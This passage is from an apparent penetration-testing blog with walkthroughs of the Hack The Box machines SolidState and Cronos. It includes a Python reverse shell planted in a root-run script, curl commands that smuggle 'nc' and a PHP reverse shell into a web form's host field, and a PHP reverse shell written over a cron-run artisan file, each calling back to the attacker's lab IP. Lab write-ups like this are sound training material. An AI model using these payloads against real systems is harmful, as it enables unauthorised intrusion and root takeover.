 +OK
 PASS Passw0rd
 +OK Welcome john
 STAT
 +OK 1 743
 RETR 1
 +OK Message follows
 Return-Path: 
 Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: john@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 From: mailadmin@localhost
 Subject: New Hires access
 John, 
 Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
 Thank you in advance.
 Respectfully,
 James
 .

It looks like John is supposed to send Mindy credentials so we’ll skip directly to her account and see if we can find them in her emails.

root@kali:~# telnet 10.10.10.51 110
 Trying 10.10.10.51…
 Connected to 10.10.10.51.
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
 USER mindy
 +OK
 PASS Passw0rd
 +OK Welcome mindy
 STAT
 +OK 2 1945
 retr 1
 +OK Message follows
 Return-Path: 
 Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
           for ;
           Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Welcome
 Dear Mindy,
 Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
 We are looking forward to you joining our team and your success at Solid State Security.
 Respectfully,
 James
 .
 retr 2
 +OK Message follows
 Return-Path: 
 Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Your Access
 Dear Mindy,
 Here are your ssh credentials to access the system. Remember to reset your password after your first login.
 Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
 username: mindy
 pass: P@55W0rd1!2@
 Respectfully,
 James
 .

Bingo! We have Mindy’s SSH credentials which we should be able to use to sign on. As soon as we sign on, it triggers the payload from our earlier exploit and we get a reverse shell on port 9999. As suggested by the emails we read, Mindy’s account appears to be running in a restricted shell so we are limited from doing much of anything when signing in via SSH. Fortunately, our reverse shell that was sent to us via the James exploit is not restricted and we can proceed with enumerating the box and looking for a way to escalate.

Logging into Mindy’s account via SSH
Unrestricted Reverse Shell Running Under Mindy’s Account

We can now run our standard privilege escalation checking scripts like LinEnum.sh. We navigate to the folder where our scripts are located on Kali and then fire up the Python simple HTTP server with: python -m SimpleHTTPServer 80 and then download it on the target box with wget. Once we have LinEnum on our target box we want to launch it with the thorough checks enabled: ./LinEnum.sh -t . Reading through the output there is an interesting python script that is owned by root but we have access to modify it.

Looking at the contents of the python script it appears to be something that root may be running on a regular basis to cleanup the /tmp folder structure.

cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

We will overwrite the script with a python reverse shell script and then setup the netcat listener and wait…

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

A few minutes later we are rewarded with a root shell!!!

Lessons Learned

  • Take the time to really read & understand exploit code to see what it does and what dependencies & requirements it has
  • Make sure to run LinEnum with thorough checks enabled (-t) so that it will pickup interesting items like the /opt/tmp.py script in this case.

Links & Resources

HTB – Cronos

Cronos (10.10.10.13)

After running our port scans we find three open ports. The box is running SSH, a DNS server, and a webserver.

root@kali:~# nmap -sSVC -p- 10.10.10.13

 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey:
 |   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
 |   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
 |_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
 53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
 | dns-nsid:
 |_  bind.version: 9.10.3-P4-Ubuntu
 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 |_http-server-header: Apache/2.4.18 (Ubuntu)
 |_http-title: Apache2 Ubuntu Default Page: It works
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Now that we have a list of open ports and what services each one is running we need to enumerate each one further and determine which one is going to be our initial way in. SSH is probably not going to be our initial way in unless we discover credentials while enumerating another service. A quick search using searchsploit reveals there is a vulnerability in OpenSSH 7.2p2 that would allow for checking whether a particular username exists. We will keep this in mind in case it becomes useful later.

Port 80 (HTTP) is usually interesting and often opens a number of opportunities for further enumeration. Let’s first navigate to the web page in a browser. We are greeted with an Apache default page.

Since we only get a default page when browsing to the page using the machine’s IP address, we may want to consider that there could be virtual host routing in play. If we edit our /etc/hosts file to add the machine’s name cronos.htb and then revisit the page we now get a different page:

Taking a look at the links on this page they are all linking off the site and are out of scope. It appears the site is running Laravel a PHP web framework. Taking a look at the source for the page as well as browsing to http://cronos.htb/robots.txt doesn’t yield anything particularly interesting. We will want to do further vulnerability research on Laravel and try to find the version running and see if there is anything we can exploit. In the meantime, let’s kick off nikto and gobuster.

root@kali:~# gobuster dir -u http://cronos.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large
 -directories.txt                                                                                      
 Gobuster v3.0.1
 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
 [+] Url:            http://cronos.htb
 [+] Threads:        10
 [+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
 [+] Status codes:   200,204,301,302,307,401,403
 [+] User Agent:     gobuster/3.0.1
 [+] Timeout:        10s
 2019/12/25 13:14:41 Starting gobuster
 /js (Status: 301)
 /css (Status: 301)
 /server-status (Status: 403)
root@kali:~/hackthebox/cronos-10.10.10.13# nikto -h cronos.htb
 - Nikto v2.1.6
 Target IP:          10.10.10.13
 Target Hostname:    cronos.htb
 Target Port:        80 
 + Start Time:         2019-12-25 13:15:02 (GMT-5)
 Server: Apache/2.4.18 (Ubuntu)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 Cookie XSRF-TOKEN created without the httponly flag
 No CGI Directories found (use '-C all' to force check all possible dirs)
 Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
 Allowed HTTP Methods: GET, HEAD 
 OSVDB-3092: /web.config: ASP config file is accessible.
 OSVDB-3268: /css/: Directory indexing found.
 OSVDB-3092: /css/: This might be interesting…
 OSVDB-3233: /icons/README: Apache default file found.
 7785 requests: 0 error(s) and 10 item(s) reported on remote host 
 + End Time:           2019-12-25 13:20:45 (GMT-5) (343 seconds)
 1 host(s) tested 

Since we’re not seeing anything jump out at us right away, now would be a good time to take a step back and review the other services we haven’t enumerated yet. Let’s explore DNS and see if we can do a zone transfer for the cronos.htb domain.

root@kali:~# host -l cronos.htb 10.10.10.13
 Using domain server:
 Name: 10.10.10.13
 Address: 10.10.10.13#53
 Aliases: 
 cronos.htb name server ns1.cronos.htb.
 cronos.htb has address 10.10.10.13
 admin.cronos.htb has address 10.10.10.13
 ns1.cronos.htb has address 10.10.10.13
 www.cronos.htb has address 10.10.10.13

This yields several additional host names we should add to our /etc/hosts file and check out. It turns out that http://ns1.cronos.htb takes us to the default Apache page and http://www.cronos.htb takes us to the same page as just http://cronos.htb so those aren’t anything new. However, when we go to http://admin.cronos.htb we are greeted with a login page!

After trying some common default usernames and passwords we don’t get in. Let’s try running gobuster against admin.cronos.htb. We will use a different dictionary (one from dirbuster) and also let’s specify some specific extensions to try: ext, php, txt, bak.

root@kali:~# gobuster dir -x txt,bak,ext,php -u http://admin.cronos.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 
...
 /index.php (Status: 200)
 /welcome.php (Status: 302)
 /logout.php (Status: 302)
 /config.php (Status: 200)
 /session.php (Status: 302)
 /server-status (Status: 403)

We’ve discovered some new interesting pages! Let’s fire up Burp Suite and manually poke around at these pages. When we navigate to http://admin.cronos.htb/welcome.php it immediately redirects us to http://admin.cronos.htb/index.php and the familiar login page. However, we notice something interesting when we examine the request in Burp.


Even without logging in we are able to see the page is some sort of tool that allows you to run traceroute or ping. This suggests that we may want to look for a command injection vulnerability. We can use curl to send a HTTP POST request passing the command & host parameters and see if we can add a semicolon followed by a command of our own. We will start up a netcat listener on our Kali box and see if we can trigger a connection to our machine as follows:

curl -d "command=traceroute&host=8.8.8.8;nc 10.10.14.4 8888" http://admin.cronos.htb/welcome.php

It worked! We were able to trigger a command injection vulnerability and get it to connect back to our machine. Now we will grab the PHP reverse shell from here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet and attempt to get a shell on the box. We edit the reverse shell to use the IP address of our Kali box and port 8888. We then use https://www.urlencoder.org/ to urlencode it. After setting up the listener we issue our curl command as follows to get a reverse shell.

curl -d "command=traceroute&host=8.8.8.8;php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.14.4%22%2C8888%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27" http://admin.cronos.htb/welcome.php

Now we have a reverse shell running under the context of the the www-data account. We can use wget to transfer over the LinEnum.sh script and then run it to attempt to identify avenues for privilege escalation. After running the script and examining the output we find an interesting cron job running under the root account.

[-] Crontab contents:                                                                                     
 /etc/crontab: system-wide crontab
 Unlike any other crontab you don't have to run the `crontab'
 command to install the new version when you edit this file
 and files in /etc/cron.d. These files also have username fields,
 that none of the other crontabs do.
 SHELL=/bin/sh
 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 m h dom mon dow user  command
 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
 25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )                                                                                                           
 47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )                                                                                                          
 52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )                                                                                                         
 * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 

If we examine the /var/www/laravel/artisan file we see that we own it and can modify it! We can either replace or append php code to this file to trigger a root shell.

www-data@cronos:/$ ls -lh /var/www/laravel/artisan
  -rwxr-xr-x 1 www-data www-data 1.7K Apr  9  2017 /var/www/laravel/artisan
 www-data@cronos:/$ 

We will replace the file with a simple one line PHP script to send us a reverse shell on port 9999 as shown below. Afterwards, we setup a netcat listener and wait for our root shell to arrive.

echo '<?php $sock=fsockopen("10.10.14.4",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>' /var/www/laravel/artisan 

Within a minute the cron job runs and we do our r00t dance đŸ™‚